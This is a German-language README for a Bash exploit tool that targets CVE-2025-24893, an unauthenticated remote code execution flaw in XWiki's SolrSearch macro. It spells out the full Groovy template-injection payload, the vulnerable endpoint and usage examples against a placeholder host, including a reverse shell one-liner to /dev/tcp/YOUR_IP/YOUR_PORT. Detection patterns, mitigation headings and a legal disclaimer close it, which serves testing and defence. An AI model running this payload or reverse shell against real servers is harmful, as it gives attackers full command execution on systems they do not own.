
Bash-Exploit für CVE-2025-24893, eine Schwachstelle für nicht authentifizierte Remote-Codeausführung in XWiki Platform durch Template-Injection im SolrSearch-Makro.
Dieses Skript ist eine überarbeitete Bash-Implementierung eines Exploits, der auf von CVE-2025-24893 betroffene XWiki-Plattform-Versionen abzielt. Es nutzt eine kritische, nicht authentifizierte Schwachstelle zur Remote-Codeausführung aus, die es Angreifern ermöglicht, beliebigen Groovy-Code über einen Template-Injection-Fehler im SolrSearch-Macro auszuführen.
Die ursprünglichen Exploit-Implementierungen in Python wurden von verschiedenen Sicherheitsforschern erstellt und werden hier für Bash-Benutzer mit vereinfachter Ausführung und verbesserter Benutzerfreundlichkeit angepasst.
text nicht ordnungsgemäß, wenn auf den RSS-Medienendpunkt zugegriffen wird, sodass Angreifer ohne Authentifizierung schädlichen Groovy-Code in die Rendering-Pipeline einschleusen können.curl: Zum Senden von HTTP-Anfragen.jq: Zur URL-Kodierung des Payloads.Erteilen Sie die Ausführungsberechtigungen:
chmod +x CVE-2025-24893
Führen Sie das Skript mit den erforderlichen Argumenten aus:
./CVE-2025-24893 <ziel_url> <befehl>
| Parameter | Beschreibung |
|---|---|
<ziel_url> | Die Ziel-XWiki-URL (z. B. http://beispiel.de oder https://xwiki.beispiel.org). Das Protokoll ist optional. |
<befehl> | Der Systembefehl, der auf dem Zielserver ausgeführt werden soll. |
Prüfen, ob das Ziel angreifbar ist (Befehl id ausführen):
./CVE-2025-24893 http://verwundbares-xwiki.beispiel.de "id"
Systeminformationen abrufen:
./CVE-2025-24893 http://verwundbares-xwiki.beispiel.de "uname -a"
Eine Testdatei erstellen:
./CVE-2025-24893 http://verwundbares-xwiki.beispiel.de "touch /tmp/pwned"
Reverse Shell (ersetzen Sie Ihre IP und Ihren Port):
./CVE-2025-24893 http://verwundbares-xwiki.beispiel.de "bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'"
Parsen der Kommandozeilenargumente:
http:// hinzugefügt wird, falls kein Protokoll angegeben ist.Payload-Konstruktion:
.execute() ausführt.}}}{{async async=false}}{{groovy}}<code>{{/groovy}}{{/async}}URL-Kodierung:
jq für eine ordnungsgemäße HTTP-Übertragung.Exploitation:
/xwiki/bin/get/Main/SolrSearch?media=rss&text=<codierter_payload>Die Exploit-Kette funktioniert wie folgt:
}}}{{async async=false}}{{groovy}}'<befehl>'.execute();{{/groovy}}{{/async}}
}}} – Schließt einen vorhandenen Macro-Kontext{{async async=false}} – Stellt die synchrone Ausführung sicher{{groovy}}...{{/groovy}} – Verpackt den schädlichen Groovy-Code'<befehl>'.execute(); – Führt den angegebenen Systembefehl ausZu Testzwecken können Sie eine verwundbare XWiki-Instanz mittels Docker einrichten:
docker run -d -p 8080:8080 --name xwiki-vulnerable xwiki:15.10.10
# Warten, bis XWiki gestartet ist (kann 1–2 Minuten dauern)
./CVE-2025-24893 http://localhost:8080 "whoami"
Eine erfolgreiche Ausnutzung dieser Schwachstelle ermöglicht einem nicht authentifizierten Angreifer:
Laut CISA und mehreren Sicherheitsanbietern:
Überwachen Sie verdächtige Anfragen an den SolrSearch-Endpunkt:
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=*
Achten Sie auf Muster, die Folgendes enthalten:
{{groovy}}{{async}}.execute()/tmp oder anderen beschreibbaren VerzeichnissenXWiki upgraden auf eine gepatchte Version:
Temporäre Workarounds anwenden (falls sofortiges Patchen nicht möglich ist):
Auf Kompromittierung prüfen:
Dieses Skript dient ausschließlich zu Bildungszwecken. Die nicht autorisierte Nutzung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal und unethisch. Verwenden Sie es verantwortungsvoll.
Sie müssen vor dem Testen eine ausdrückliche schriftliche Genehmigung des Systemeigentümers einholen.
Die Autoren dieses Tools übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch dieses Skript verursacht werden. Die Benutzer sind allein dafür verantwortlich, sicherzustellen, dass sie über die entsprechende Autorisierung verfügen und alle geltenden Gesetze und Vorschriften einhalten.